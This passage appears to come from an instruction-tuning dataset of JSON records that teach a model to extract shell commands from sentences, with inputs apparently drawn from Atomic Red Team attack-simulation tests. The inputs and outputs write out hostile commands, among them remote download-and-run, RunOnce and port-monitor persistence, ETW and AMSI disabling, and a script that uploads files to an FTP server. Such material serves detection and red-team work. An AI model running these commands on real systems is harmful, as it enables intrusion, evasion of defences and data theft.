[\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For disabling ETW in the .NET Framework, use the following command to modify the HKCU registry: New-ItemProperty -Path HKCU:\\Environment -Name COMPlus_ETWEnabled -Value 0 -PropertyType \"String\" -Force. A system logout might be necessary to apply these changes.",
    "output": "{\"command_list\": [\"New-ItemProperty -Path HKCU:\\\\Environment -Name COMPlus_ETWEnabled -Value 0 -PropertyType \\\"String\\\" -Force\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For comprehensive RSoP details, including all available Group Policy information, run the command: gpresult /z",
    "output": "{\"command_list\": [\"gpresult /z\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Trigger the 'installation failed' window by running the following command via rundll32.exe and setupapi.dll: rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 \"#{inf_to_execute}\"",
    "output": "{\"command_list\": [\"rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 \\\"#{inf_to_execute}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For RunOnce key persistence, execute the following command which adds a registry entry: $RunOnceKey = \"#{reg_key_path}\"\nset-itemproperty $RunOnceKey \"NextRun\" '#{thing_to_execute} \"IEX (New-Object Net.WebClient).DownloadString(`\"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`\")\"'",
    "output": "{\"command_list\": [\"$RunOnceKey = \\\"#{reg_key_path}\\\"\\nset-itemproperty $RunOnceKey \\\"NextRun\\\" '#{thing_to_execute} \\\"IEX (New-Object Net.WebClient).DownloadString(`\\\"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`\\\")\\\"'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can reboot a FreeBSD, macOS, or Linux system by executing this command: reboot.",
    "output": "{\"command_list\": [\"reboot\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate MAZE ransomware's FTP exfiltration of 7z files from the temp directory, execute this PowerShell script:\n$Dir_to_copy = \"$env:windir\\\\temp\"\n$ftp = \"ftp://#{ftp_server}/\"\n$web_client = New-Object System.Net.WebClient\n$web_client.Credentials = New-Object System.Net.NetworkCredential('#{username}', '#{password}')\nif (test-connection -count 1 -computername \"#{ftp_server}\" -quiet)\n{foreach($file in (dir $Dir_to_copy \"*.7z\"))\n{echo \"Uploading $file...\"\n$uri = New-Object System.Uri($ftp+$file.name)\n$web_client.UploadFile($uri, $file.FullName)}}\nelse\n{echo \"FTP Server Unreachable. Please verify the server address in input args and try again.\"}",
    "output": "{\"command_list\": [\"$Dir_to_copy = \\\"$env:windir\\\\temp\\\"\\n$ftp = \\\"ftp://#{ftp_server}/\\\"\\n$web_client = New-Object System.Net.WebClient\\n$web_client.Credentials = New-Object System.Net.NetworkCredential('#{username}', '#{password}')\\nif (test-connection -count 1 -computername \\\"#{ftp_server}\\\" -quiet)\\n{foreach($file in (dir $Dir_to_copy \\\"*.7z\\\"))\\n{echo \\\"Uploading $file...\\\"\\n$uri = New-Object System.Uri($ftp+$file.name)\\n$web_client.UploadFile($uri, $file.FullName)}}\\nelse\\n{echo \\\"FTP Server Unreachable. Please verify the server address in input args and try again.\\\"}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To add a key-value pair to the Windows Port Monitor registry, which will execute a DLL under spoolsv with NT AUTHORITY/SYSTEM privileges upon reboot, use the following command: reg add \"hklm\\system\\currentcontrolset\\control\\print\\monitors\\AtomicRedTeam\" /v \"Driver\" /d \"#{monitor_dll}\" /t REG_SZ /f\n",
    "output": "{\"command_list\": [\"reg add \\\"hklm\\\\system\\\\currentcontrolset\\\\control\\\\print\\\\monitors\\\\AtomicRedTeam\\\" /v \\\"Driver\\\" /d \\\"#{monitor_dll}\\\" /t REG_SZ /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test removes the Windows Defender provider registry key, which disables AMSI inspection when executed with administrative rights using the command: Remove-Item -Path \"HKLM:\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{2781761E-28E0-4109-99FE-B9D127C57AFE}\" -Recurse",
    "output": "{\"command_list\": [\"Remove-Item -Path \\\"HKLM:\\\\SOFTWARE\\\\Microsoft\\\\AMSI\\\\Providers\\\\{2781761E-28E0-4109-99FE-B9D127C57AFE}\\\" -Recurse\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single 